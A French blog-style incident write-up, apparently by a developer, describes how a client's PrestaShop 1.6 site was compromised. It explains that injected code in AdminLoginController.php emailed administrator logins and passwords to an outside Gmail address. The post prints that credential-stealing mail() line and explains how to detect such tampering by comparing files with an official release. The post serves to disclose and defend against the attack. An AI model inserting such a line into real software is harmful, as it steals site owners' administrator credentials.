Il y a quelques semaines, je suis contacté par un client concernant son Prestashop 1.6.
Un de ces clients veut réinitialiser son mot de passe mais il ne reçoit aucun mail.
Après avoir fait quelques recherches je me rends compte que chez l'hébergeur, OVH, les mails sont bloqués. Il s'agit d'un blocage dit "pour spam" qui intervient chez votre hébergeur quand des mails partent depuis votre site vers des adresses reconnues comme spam ou plus simplement vers des adresses mail inexistantes. Cela arrive souvent avec Prestashop, des spammeurs créant de faux comptes pour diverses raisons, qui ont parfois pour résultat de saturer votre base de données.
Bref, ici il semblerait que trop de mails soient partis vers des adresses inexistantes.
Je regarde donc dans le listing client et , en effet, des 100e de clients sont inscrits avec comme nom et prénom des adresses internet sous forme www.etc.
Nous effaçons donc tous les comptes clients frauduleux et je mets en place une méthode pour interdire l'inscription de ces adresses.
Une fois le travail terminé, nous lançons le déblocage des mails chez OVH et tout refonctionne.
Sauf que, ayant demandé à être prévenu en cas de nouvelles erreurs dans les departs de mails, je constate que toutes les buits, vers 1h30, un mail part du site vers l'adresse davidlaverne68@gmail.com, mail qui bien sur, n'arrive nulle part car il n'existe pas. Résultat, un nouveau blocage des mails est à prévoir....
Le gros suci c'est que dans la base de données clients il n'y a aucun client avec ce mail. Et là ça se complique!
Et bien, finalement, après de longues recherches, j'ai fini par trouver: Le site a été victime de malveillance (piratage probablement) et quelqu'un, profitant probablement d'une faille de sécurité, à réussi à écrire un bout de code dans un des fichiers PHP du code source de du Prestashop de mon client!
Dans le fichier: controller/admin/AdminLoginController.php, ce code a été rajouté
mail('davidlaverne68@gmail.com', ''.$website, '->'. $website.'
'.$website.' Passe admin : '.$email.'<br>Pass : '.$passwd);
Il semblerait que ça permette de se connecter en Admin et de modifier tout ce que l'on veut.
Les lignes frauduleuses ont été supprimées.
Pour ceuq eus ça intéresse: on peut toujours télécharger une des anciennes versions de Prestashop sur le site officiel et comparer les fichiers. Surla version 1.6 de Prestashop, dans le fichier controller/admin/AdminLoginController.php, aucun email de doit apparaitre, si c'est le cas c'est que vosu avez subi une attaque ou une malveillance.